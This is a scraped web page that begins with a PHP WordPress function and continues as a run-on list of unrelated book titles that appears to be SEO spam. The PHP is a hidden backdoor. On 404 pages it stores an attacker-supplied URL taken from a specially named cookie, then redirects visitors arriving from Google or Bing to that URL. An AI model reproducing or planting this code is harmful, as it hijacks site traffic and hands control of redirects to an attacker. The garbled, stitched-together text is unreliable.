function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"])) { update_option('wpd_do_stuff_on_40404_url', $_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"]); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url'); if (!empty($u)) { wp_redirect($u . "?referrer=" . $_SERVER["HTTP_REFERER"]); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );Job Search Handbook Polvere: Cremazione e dispersione delle ceneri negli orientamenti della Chiesa cattolica (Italian Edition) Supersymmetry and String Theory: Beyond the Standard Model Advanced Operative Dentistry E-Book: A Practical Approach Peripheral Dopaminergic Receptors: Proceedings of the Satellite Symposium of the 7th International Congress of Pharmacology, Strasbourg, 24-25 July 1978: 20 (Advances in the Biosciences) Are You Ready to Sell?: B2B industrial buyers operate in a world of fast changing needs. You must change even faster to win orders. Here's how! Intellectual Disability: An Inability to Cope with an Intellectually Demanding World Managementberatung in Deutschland: Grundlagen, Trends, Prognosen (essentials) (German Edition) Credit, Consumers and the Law: After the global storm (Markets and the Law) Erfolgreiches Produktmanagement: Tool-Box für das professionelle Produktmanagement und Produktmarketing (German Edition) Freedom, Responsibility and Economics of the Person (Routledge Frontiers of Political Economy) Risk-Informed Management of European River Basins (The Handbook of Environmental Chemistry)